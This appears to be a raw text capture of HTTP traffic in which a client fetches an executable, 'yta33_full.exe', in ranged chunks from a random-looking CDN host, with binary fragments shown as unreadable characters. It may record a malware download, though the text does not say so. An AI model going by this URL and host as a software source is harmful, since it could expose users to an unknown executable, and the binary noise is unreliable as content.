x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1000000-1249999/7590800
.'...:V....:/.s..im...7....W......8..r.1..}]6>9g........Q....`.....
-...c.So..Lm...9.....!...E.j!...3.\3.C.f.a.....C.#[email protected].... a
.....J;....u...*.......~.N..B........X.0.Z....).....4.O$..A~..ArG..X\.
...B.r.....8..G..@\.[.....d:[email protected].[...N.K.L.%l.]|...C....V.EhI.
Y...O..c....|q..._Y.m....rK....Z.on.y.s....v...y.f'.E....R.RO$f[......
...{t-5......>.......).m...S^.H......9..-...#..*h.g.X.1...O.~.?._..
2g_.....9.../......b 6/.6.-.6...(..V.. l26..W..<I.:.....&`M..<..
h.......).=@TEo.~...4.. ..`...!8...........7......=......Ui.!..;....).
...9.....&.@<..e....[_:..XV..UTC2....A..E.l.V.q.*Jyng.....Jv.m&....
....}.E1..c,00..~<.1..uE..B..E.Vs.O.....C..M&....[..EjQU^....../.b.
/.....a./....3........e..z....*.6&,..5..?.[JI...pQi)8...oC.."......tU.
..V_Ce..5u.Zza.(..m......\.......*......Q..Y..>.G.7.5..b.w..T(&...8
 \pwV.F,.8.<....V...*..,...}]......'...)..\..;...z#6..w_....9.^G..p
.0#..98..._Z...,.5....{..n.....Ma..$..V...'Wg..> Ci..h............`
.!....=......H...J...4. {...........U.....S^uC..E_.....?nN...s]...D..|
./?iY.......X..2^..[.....FS3..OL.8N......K'...Uy..1j/-...)%7.S...H..V.
.F .^.V..aP...4...u .:Z.q.9...1w......9s...6... XA..5V...8...`...1G..:
......~.w..n.........Z..2..Sj..-...|cp.....]7...2....o...?..) y0.p..8.
w..Ad..r..j...T2K)>()...-..hk..M....4...6?..W..CzZ...}[email protected]
...}..Y\......N.....A.=Y"q./. .....jy1F..&s t^,./....V&..L.u.L:U...ne&
lt;@1...GqN;.$QK.i..w.).3.,..3.....*...v ......uT..c;.y..7............
._"k...D.E..........O.....R_.u=.t.'.....W.h.?y...Jj...0.M........o
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1500000-1749999/7590800
e.B$./..e...........Y......,.. ..Y........mP..R..b...L....Y 4.f.E&..A.
.|.*....^.;..S...&<<H'.q\[email protected]... .q.~._...
..s..4;. `\.....7H..zG.Z..]}.......4.._.....s..>`E.o....7..A..@....
6.... *..2...1. 4..C.o.......4...x.........@0iT..%)`%..y..f~........E.
..]hB...:..W...r...o.M$....S............X..... =............\@...t._..
.?......S..jc...U..,.. ~jY..IR.s....n...s...!..1..~.[....D..Dh...9..\.
L8.~c............O...h...:.W....../...YT.]W!.A1h"...F.......'....c....
 .,@>....4...D..]...s..t....1......A...<.A).w..t.&c..M.R2....&x.
...F..,{.t..r.5.<5....B.l.......y.iiF.....O..O..-Q"..m?k....l....tJ
.Vu..,Z.T...k.{...g.V8....."t].$...R...!...W...l.m....r.....g..|6.{.W.
}.W[.jV#.v.m.aa.QO_.M.m...fbK....9...r'..jaO.V.b..MF.:g.1]t.|..).y...C
.....2....xa1.e.d~.q.L........=.s..>v.^.&@:.i.Nz.#.t.....-%..kt...E
.$.......?5..&......5...H.M.5.P. .n{...!AX.~..^^i...*......zV....h.L..
.....k....G...EU.....:rq&.$.BIF^.B;(.x.%s./(Z...Dd'....(...v...&u...D.
EE.........uT..Pg9.. .)........N.....}?.q?...y..Y.Z....wY....v^|.f.\..
....$.s.....%.....5.w..%ooK.......%........w!.U..so;/.......sh[z..>
...jW..........q.{kW...z.....N.w}..5Ix3-}.0.v......z$}.4.v..L.6{?..=..
.....u..2x.K..?.I...[.......9..rs......mE.a.s.....K..x..?D/....S..<
-_..:$S.(.&.d.IH..!.SB..k....W..~..n,....?.t_..C.p...~.........8...E..
. ........s.o..[&.H!....D=a..5......(..z....hw.....>N\.. =.6...K.P3
p...........tn..f.z.d....;...-...e..b_..)f7.2....O...{............>
\......5R.zkwM..F....K..'.~.Ku-.K.v...7E......H.[..w.b..ez.>\.(
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2000000-2249999/7590800
..0M.......!..I/*r...S..h......B{.{.F$.~l...q..O ....\.B_.. J......2..
../.H.e<6.=....s.i....Fp.Gi.....~..I..S......j...v..,\.K.>.Qz.].
......p.nyc...-...H.:.l3r .F4...e...7.MN.G..../P[......S...K....8...\4
#........a:~..0.".....w......s.%.0.j...S.I>.e.....%3>i...|.....9
....qd.......K...`i..j....I.S...N"r..e\b.7....;..xi.Q.....w,I.....3t..
Z...=&....k....A.w...,........c..9<[email protected]...)...
[email protected].....{#.s...!..2.<k...i..oI"C.....1T.\.T..>.>....Ey!...A.
;.}K.I_...#.........Q3........1p....7.I..u..............s....x..z.D..L
.U......7:.S...(...1.5C.P...;....V....h.M.......ey..{..../A..#k.7.#n.t
Xn;wAu=....).'<.R..:9...>...bWY...QL...or..{.jn.i.3........v..$'
......g..T..r/.W.........?...aXV-h..3.g..M|qe.........(.u...Wa...f[..o
.K.._.J.....,.\.n..n.Zn.>.N...7...3D...6'.VA.K..&.`%...$V..."g..%.p
....T....t.... ...D....y....K...mX...8..B..cvlJ.0.W..W.....xfX..8Sl|..
..Uu7.=.~. ...o...".[.i..........h.dA*g>...j....p1....jz.i.pulE..S.
u............;<.. n.uK.yv-.v.0..7Z...R....@..>....0..43._..K.;.f
. D.P.?RVW.G_.e........w......zB...\.T..A 4v.5....J..5c.D......7K.-...
..f.}g8..;<X...H:v.A..nq.x...h8'.h..D..p3$...0....t(>.A....._.&g
t;..~...H. ...o...3#.C|4.E..0d.......mr&.$.W.z...;`.c.}w..............
....&s...*......^..d.......WK....g..c......E......C....>.....FH/...
$.k.<C....h...........:..`._v7xP.Aq..F.{..Q9Y(>.g....2..bz:.FY..
#G.5...p............~U...#...GAl..Y..q-..P...&.gyy......*.......7...7y
..QJ...].....}.....{..F..G......B[.......Y....Q.z.E^wd....K|x.v...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2500000-2749999/7590800
O#.g.S.*...UA.]0..wOBY.O_..'...1....<..@......*,..A.._f.]".......{.
x.]v.......-</..R....-@-.....?...2.?...'J&G... ...BL..?..ht.J:.:.=.
( ..8..Z..b3X...7.7.I}.9}F2.5....:$..S|_...=...**.BULN....K..9..<.*
p.:.O.P.....c.U....L..... q......x.......A.....J.e.c..;Ye....G...FP..=
.mQv..a..:..............P.(?  |...2..C..=.........g.ix..P.y..=.....m&.
.....F-Et<~b.xD...M.....5...y.*..o.}T...6..Q....E.q.........F....P\
!.........A.\..8j :nU/...q|0.e%F.|...N<|.,?.^~...V..^..2.N9e. ....Y
....9zU]........y.=`...Q6fUR ...I....t.c;c#..8.......a\.hn[yB.|...D.c.
....4.QFxGa...l.......Q0.q./.....@O.\i..(.8X......w........#U...n.....
..1z..|8....2....S...."..S...|K.w..|.....v.Re.x.%..yV....... .|..._.If
...D..X#Ht......Y:...%.?....:..d.,....I;..........)...'c...,N<....*
..G....M..!..j.............0.^.h[.6..;...=D.T......r6.....).I.&......O
.....@E.`.....L.`.|..,. ....j....\.`[email protected]........,.#.....V
.s...i.....xd...K.7..e.n;sg....IP....\&...............4......!..: ..].
.k ...(!.I...D....t.....`=...a.H.$r.....|[WIis....;3_......J..]...9j..
3.&..=V..T..G.J_.?:.|.k.r.z...W...v.gX..O...I.Q...nAh.........v....('.
.....a....S....o.. bRk..YLG\r3.ogc.....U....Bu.. ig......l.>..|...5
3ZJD>.GN.7..MA3.R...L.:........U.YY.m%.G......R....S.or.c1.%.Z.F...
r...LN......5.w$g&.\.._.....V.h...bbv...bbu)[...~....V.".7...:g.P.....
R2.JqE........./f.I..Kzp$....YF...d..9........F.y...Q....#.(Bf..."....
q.QP`.U..h. #s,`}....C...2.9cJ,....U.CT.#X.......D.o...l.......6n.6.S.
....:....e..a}...32,R..I.....l.....xG.e...6..T...y.Z.....~........
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3000000-3249999/7590800
...y.....L...p...y9.zY..i..%....j..|._&i.......[.=..=.IC.Sw?..\..8..x.
b]...J.F\.U..Mf....*...l....S...f.......%..r/......*...E..}!l%..TWG.v.
.U..N..B/.}.}U4)%.l;.5......~,.....{......{././..5%....% .f.....(..9.=
........e.*0cOgd...l..A.W.:m^.ku._.;6i.......f...z.6...O..e>{<..
...`,[email protected]:..;..q...O....;..'..... .n.D{....e.~Hg..z.........].x..
.l.fg:...?U...r.=f...?A........Z..uS!..Xy..}.1.T<..)...#..ab..'4."O
.Y.p.......b.D.L2Q{y..~.>..rie.M)...QD..LD..v.G..88)R.~.[..,....]W_
..O...7...s....v.DY...j.d...d......z^QU......bI......R......L..iT~.N*P
..........m{[email protected]....
.y.4.W....S..qJ{.$1.........}...{BR....Q3=.-....\....h....T..i..5.\.K.
.I....1V...>.....J../.?.v|........*%a.......BF............r...%..xb
.5....l5.P]`...j....7...E#..............o%G..j?.l..S.jJ.....l.f/..lP.w
.6X.....2Pi.]-^.}..s....{7..nO.M...g5.S......<.7a......oI...q......
f8....)..O....^....o..q..t..[.:.q..zd..c.U...>.e.;...F.%..L......].
..'....p.;..fX%{d(.{3..V....*......QJ......2.^Y]...D......rz.!..b.^f.B
M.[M.....W.oZ!7^@e;..?g.....o...csD....8.].x...d....>..f.......X.0.
...r(!.L...(&R. ,....:..Mi|.....~.m.l...%q.8...r{..mcZ.w........I.L...
..(1p...c.l8...df.... ....}..........`...X.I..._.. .D='...O.g..l.[.z.k
7..k2.|...C......Vbz..'.......O..d.dg..J.7gP.3........\....`.4C....'..
.(..%.Ny..\,.s...6O..sM.....$H`.?E.e.N{d.t.y...9..7^.g..Y.y.4....H....
)......q..C..42.......Ai...>u.l......Ag*.._Nw.Tc.x..}QE......o,..Z.
....?....xzah;....L/....s.|..f3..Wfi..O...3.hY...%....D.o.].......
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3500000-3749999/7590800
..N..(.j..X.E.|........#C.W....L.^Z-B.9.!P|.25-U..X.......;,...g.Q..E&
gt;......8...T...|...x.......c..s.....f-.../".W..S..&P}v=....Z1...C...
.;.l.8V...e..5.6.%.Mx.}[email protected].[..Y...$..5!.
....Fe....ze.SE..H....Y.tR.,.2..........Ue..\...Cu..Z.9........... K..
.nD..Z..z...V..5.}.be.t.aZZ.,..C.....3.<.........\.H...T..=..&..:..
.....l.......a...B3>7..g...V.....>.U.M...hN.;AD...)Dm..3..9...J.
........FF./......j2..G.o.G...!wP(.{..T...*$..l.3.,m...;-.1a..aM;X'-.(
...`-.Yw...3.X.i..*\......%Pq.OM1e......s..aM..o]`...6m..`je.$.~.....-
.l.pNx....N..z].4_rZ..\W(.. .....W'.M.... .....Zbph*.nm.~}1..^b....{..
8......#t...... :...\..A.. .1.0..TJ.-...!okP6.!...Zu....]...,}_.......
..|.z.D`. .7.C...b.sUB9..v."........%y...a4.9....9.!..k0*!,...C.......
.Y..S.c........d..g.gU..u>..>*.L.R.#...8 ..=.N....J~/bbM#yI....(
....`}G..6X..az'."..... ....M.lLKIty...&..(...M..'2..6\.........^...^U
N....,@..9.g.....|....*...i..F.Y.Eh...3.N..T...ZL..6i0...#..P{3......Y
K_.H%....0.N/g......s...f...-.1n..I7..0.m.1g... .<.ehZ.b..,3M....nk
.....J..I`......g...w.5...7...../.0./(....v.PLd|..h.F.;..j^P..C..a ...
.1.k.6'{z.|%5.C......[q....."[email protected]...)......?...`u..q
.X8.......1.....G!...M..c...u.[g..&m!.O..v%.E3...M.o..4.U.7....83.....
...e............Fdd.s...r.7^5Oq.....b)U.5...R.3z.D.'tw.Y>...9...%m.
v..~......)T.....qUX....9e..c.e...o\./l1..PWp........W..d.m...b.bq...e
...w....|Kv......h..m.}.@.)..h..f/ ...h}.q.DU.......o.RoE3.I...m...*4.
...z...UL..U0...`]....KYe...Dw..C...,...f.".....u.|..g..)....F. ..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4000000-4249999/7590800
[email protected]%......&K...;..%....!..6Z...}.&..^3u......R:.P;O...=3 ..
q...l.U....U......V.an...X5J.j./!y**......nf....7.L..3!.[.L.uJrU......
 5.... ..r..%...5t_.5~W..........d...<.<..E_.y.p...O..".~-......
Tm4..~f.X%.2}S..0L...I.R3.7.1.J\.....?..m.<... [email protected]..<...
..mV.z![E.%.:.r.)^.;.u...w...C.8...{...)...&v.jU.z.\Db..P..e....I..~.Y
..^c.OV`......=....\.Dc3...).{...o[.O...........2......:...K...[r....;
.t......u.....F.\...Eb.....\..d......g5.3].?52....."]o..UF.....:..1Nv.
....M:.......h.q.....l..-8l.....S......ca8u...lz}.~..-...`..:<s....
w.dz..6V....z./...@B.......`.....w..UA.;.........%....L...a.z.i.:..VUu
.R..\W.-.....5......R,..P.v...1..s...j.......Zn.(....c4.v...C|.n...<
;|.....B..Md{.E).../...S..rw"...H........=).u.....H..?.....Q.Y|....B.M
.....$.J.]...g.J.....z.{...a...e.9...)....LD.rA.>......*...D..@.<
;..C..C...br.n(.'.?m.Ba.......}...=....>.yMf.....m8.pi...'j..F....=
F.8.$......ci.Sq..k....z..8.....mY.%..a10b.>0.N..R..H&.#....(...)..
..m!G.../...q*".R.....S....5.....$..s.P.....(..u...<\.....p..Cq....
..O..{....A...........CR.2..'N......B..........t.c:=..N.t.KY:.&%q..:=.
:.o.1b.G./H.?._3..;N..w[T.>.b...fh.S...^Ij.g.l.!Z.....D....7.......
*....p.\.n.... .UDO..X..e|[email protected]...#i..........xO}...?:......u.
.....Q.X...y.azp...0p..#.."JD.;.". ..sG.b\....Fjh/......!(....;......J
.o4....v.......<*pr.8..TrE.>Jn....Q12..w..F...#....g...;..X.....
k{........o.'..........m....D|.mGk.R$...*.R.......c.{........:.i...)..
[email protected].......|.:m...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4500000-4749999/7590800
..n.6.....@I|..k..4.#..]Y...-5!K.m..}V*4...u.h....h.{....C....V.....?U
..,.....uAA.....8._2....v07....vrX.....P.9..t8K#.g.V.,.)..........Q.|-
.FuSO........x.~ZV[......./....e.F..;$!2..W...INB.'.Z..&H..6......._..
xv..D....%W ....b..j....;.8[.|..I.j.n.../........Bl..(....,6B.K....J.,
=....B.#......{. ......0Y....M...[<Jp.._..2C.#....E$B[.W..F.=3.S..V
..dI...........]%.I`=..),....7.........0...Sixq..k...C~|.%.2..:.....H.
8d..*4..x2..G.......LK..,v.=D.b..x..U...a....;...m...T.Gs....1w.......
nP(I.r.J..BlT.n.*.U....yq...q.v.oQy..*W..=.g....,...^%....%"..x.......
....*.W....|9Ps..6.....d~.n...]..=......=...X>.#..hGG..v...pc...,.?
j......Do@eE"T b._A.5.6..Fr~6:!"b.R......m....p[Ux......&w,....1B..N.q
: .....GZ"E.%.K/.9..m*g.Wy.B...4q../m..u.I....[..t:......k.f....Tu..g.
I.\.q.-i....K...... ...............R.'.D.f.'....M.zn.u. \..CI[lx...e.\
...R......}0D\3..C..g/O.DQ.{B.G.0.......)....$l..9..U.au1.....m.F....&
gt;,Z-tW.D..y.Y..|....;.....C.n75.c$..yGv....&.....}'.ne......5u...{:.
....2A..n(...X.....2Q.....t.l........g>.f.}2.D#..H....r.......O....
>2... Kr....U.......*.a............}X|..!..p.C..s...k.u...pi.C.X`..
[!.m.N...N.M.C.Pli......8..n..........I...eA......,.*.m!.L.L.HGT..(.9.
..Zum..*.J...EL9.O.J.....O.c.....=....3.Sb.H...BP..._....bh ...j.....,
.:..QIF<..%..N.T.d..u.:..Y.....=....D.N.../IThm..Q....:.g.m......6.
X...s...{7K..<6,.....{...}.... U.....#...P.....0..&.v....[......1(`
...S.%d...XE..W...~..a..JM,@2..v..............v.tT.............>..e
...Y.}.oMY..........B.L.c.1..Z.Ve|U..>!7....H{..kI....:..S..p..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5000000-5249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5000000-5249999/7590800
Z]X.z#.m........C..].|..&.#CK...j:.S..6..n\.Ob.x.2U..,..........7.8...
.i...W.F..gO...?....\.~..|5=3W$.o._.r.2..I..)...4..w.....#/.m.......=&
M...}.~2...:6.)..._./$e/B..p..o.........%...`r#Q..)....$..nm......ZS..
.>....*..^g&=....F.1.&...v&..kpld. .Hf'-.)..w..6..a....n.K....X.v..
...FyeP.?..m .h]l.!X..@[....b,.O.. .pY.%.|...I........h.(..mF..}>3.
.6hypK82[)...j~T...N..o.....o0..Vt.}_.......nh;O.4UP..."L K.x.=s.;..f.
.h.V.`.y=-O....`.m.C.!r#...5.2..'.$?...\b.3W.lr.M.[..9M:7.0)..~.x.[.M.
.d..z.t].sG.r....:..l...p........yD..B..L..........^)G.Q.y.A...n.....E
$.KHH.........HZXl.PZ...7..@....._G.3p.c....O..C.n....>....IM.`.g..
.$k...m...H.<*...........d.\.3.#.p.Nn.=..].....Vg'..C ..L.k..r.X..w
...W.....C...4.v.L..U.a.r4...... ..:...."....#6..&V.lK}.o.P|.p.. ....#
.]...b.C....p.n.........`...O.x..s....  c^..h.BF.n''r[)r.G.PX.T.._...)
....N....7.Me....g...NJ.B.Nc....*.. ....D...o..._AW/.u.9.z5.j3.4..x..#
.3....G......ix...cZ..2..vI.c..;v.._......f...L..ZG.T........0....M..6
S..y'e=.J.......-..Ut..OH....z.Bn!...f..s..d...&Z.2..4...K.P...N.4....
....n.1L.mGB..s.Z......T..O......v..n~.....'. .x3......X....E. ..,a{.P
.....S.>...":....../.{..gs.......1:. .S..M.L.n......>....|..K...
}.3....xx.......|..xM..].r.v.....Jo.z..."=.O........`..O.%.......n...i
..u....=....Dq`Y.b[....J.......b.........$.t............C.0#.......]..
....f...z.........,{b.....#.jn.Z.~.......1..N.y..j.`.6.X6.u...K ...:..
..!.\..S.....H..i>].V...y.............t`W....v.(...._^k...]...n.NZ 
..1I..JkY.cf.>5H...Fj...:v.p#E0...........l..[8....n.....v....]
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5500000-5749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5500000-5749999/7590800
.%G...c..C....Q.........h.)...`........z..fr..]g...1.F....8 .7.....I.J
.B.0...[.......;0...\{`..1=....x;l.C|.eo...}A.7..*.w... .g.=.6....Sb..
t..;..h.4/~.4]....\A..#j.3..~.....C8)..oA$.D....L.9.......?F..O.1...Z.
.O.b.70w.e.}1...R.T..3...r..a..iv.H<..P.6l ..Y...}u.km.Q.FZ...7..[!
..].'.#0z.....Q.O.t..%.Q.xwWn.....|: ;....7mO....On. y.............L1Q
uY.p.N...=.Jtn.5d.P.iU.../{...9.>................9..@..&.K5MY.9,...
...}Z...`.[.lx!.....z >.....f.>.'}[email protected]..)'.....
g|..elT|O....n..o..w...{....)........1....-WX.....XY...P...[:.{s{"b...
..t...:.......:.;..1<.._.S.7...6....!&q-..<\.G7..,..H._...V...2.
............`...wM....ZF.<.g#[email protected].].I(...../..f...!B{?[._.Z..c
..g....\..9e.r...fz.S....N..d..v.I...t].....Cr..[....e...S......!....M
...>.e.d....W4..!.w.....@.....:n..{.b.8...l.2..<.K...}.-..ymW.Ss
fl.eBrQ....K....>.....'..E.n1........^.O.3.............C.H....S..Z.
...tTL.v....Z..D....!..M.8f.'q..a.5Guj........L.OM.\....G}.MvS...]..x.
I.[..sz.l..-.G0.U..a....b..L.-...;.&.l.S.A )....1. ..n...Mi...6...6w^.
...):.@#[email protected].!..?..x..?o.....%.P..............b<..7...
......0~i..i4u...9.#l....\.\..9.wCB.......u...G..........,..Q..k3~Zt.K
p?.~JW\./P..QUo`....e...s... R)t..[..f&.%..v.......Qq..|NIT......g..AE
....R..Z[h.O......jW^..>.%......L.g..........n...H.....RD....Q.v.L.
.e2".a.....?eX.._.q..;{\..M...<,..1I5?....05.:.;...f....R...Y(....r
.2U..Adu....F. ^[email protected]>......9...i........v...x
x.0.F.z h2 .Z.r..b.L.VoJ...t!cJ.a....4iV...=.Y..N].dZne.o '9l..:..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6000000-6249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6000000-6249999/7590800
..!.....<..(..).n........Nvh][.....f.M.}...*./Z..A?.........po..M..
.&9=..Iq..N.tr...%e.|.E..U.....g...I.><..@......[....&...) .S...
.....<.d.0.@..~L..N...6.b. le.p....8...a2.........rvM..O...?.....#A
.<S.1_.._..Ww../......F...m3 I..Aa.z...d....).i.2...e.....-J.?..b..
.(..........H-..6.._....1.c.>...R....gv.........e..=......Xj.U.CZ;.
.[.u.. ..3SS1DN9._x.uz.4..C87.....r..F[.;Wy.p...f................kr..(
....Z..$..B.....vm[1.x..I.dWX.r....`...........-5.^.82.m.>(bpYd1.ID
...0......s..l. ^^^R.8....p....;.=.4F..}.&....`...g.io.=....`..Fp...M.
...;..v:E-.#.....g......w.7`4...NCYH....M..|.du].Js...&U(..\./.F..Ic..
..".c.xN...B..o.KK..e....{..G..n...i@(..t6v...`V.;=.-W.1p...O.z.......
*.:.....#o%.;D~...`.......9q.....Y}&."...X.t.aZYL.W..!f..}R.5d=.\M`..7
.K...mQ../...Q.$.\/..?.B.....Fj.... ....(.[2.k.{......t.....S...u..W.O
....yk;......gf.w..|...e>..........ucC9....#......*.'....5.....EFbY
.5..9.B:s<.......3.68.~M......V....4.j<...........A..O./|...._..
.*.). ..Z....O...6....9.....<.d{....._953.....J..E....>.F E.f.b.
<.:<$..n..,!.."....L.......,..^O..z.,fF.%?...h.]MP..:.k5..A...\.
.=e.L0..zb.... j.F.]@M..W`B1[p...B~<._....hW...6b...\...W.4?.|j\h_.
~.R..@...:........C<.5...*..<*A/V&.|...'.$./..mD.p..]p..P...R.X#
.vYbk.\..l>...*..i.....t..1..<.h.............._. .L.^...n...T...
........~5..uD.Z...q....~..}.\#....Ql...'.8.K4..}..N....A..yX...2P....
or<.... .._,...[.p........\..r...Z:..W..i.....G....C....{....p..].5
9...x...J.....a.u... ......T.:.!.....!.....Z<...4....|.. gz....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6500000-6749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
